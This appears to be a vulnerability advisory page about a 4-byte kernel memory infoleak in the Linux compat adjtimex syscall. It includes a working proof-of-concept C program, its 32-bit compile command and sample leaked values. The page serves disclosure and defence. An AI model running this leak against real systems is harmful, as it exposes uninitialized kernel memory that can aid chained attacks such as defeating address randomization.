Linux: 4-byte infoleak via uninitialized struct field in compat adjtimex syscall

Authors:jannh@google.com         Risk:High

CVE:NO                          Product:Linux 

0day -id:0DAY-176195             Date:2018-05-18

Description

Commit 3a4d44b61625 (“ntp: Move adjtimex related compat syscalls to native
counterparts”) removed the memset() in compat_get_timex(). Since then, the
compat adjtimex syscall can invoke do_adjtimex() with an uninitialized
->tai. If do_adjtimex() doesn’t write to ->tai (e.g. because the arguments
are invalid), compat_put_timex() then copies the uninitialized ->tai field
to userspace.

Exploit

$ cat leak_32.c
#include <sys/timex.h>
#include <assert.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdint.h>
#include <err.h>

/* from include/linux/timex.h */
#define ADJ_ADJTIME 0x8000

int main(void) {
  struct timex tx;
  memset(&tx, 0, sizeof(tx));
  tx.modes = ADJ_ADJTIME; /* invalid, causes early bailout */
  int res = adjtimex(&tx);
  assert(res == -1 && errno == EINVAL);
  printf("0x%08x\n", (unsigned int)tx.tai);
  return 0;
}
$ gcc -o leak_32 leak_32.c -Wall -m32
$ for i in {0..10}; do sleep 1; ./leak_32; done
0x01a300b0
0x0be8f6f0
0x0610d5f0
0x01fa0170
0x0bf05670
0x0bf05670
0x0610d5f0
0x0610cd70
0x0610d5f0
0x0610d5f0

 

Leave a Reply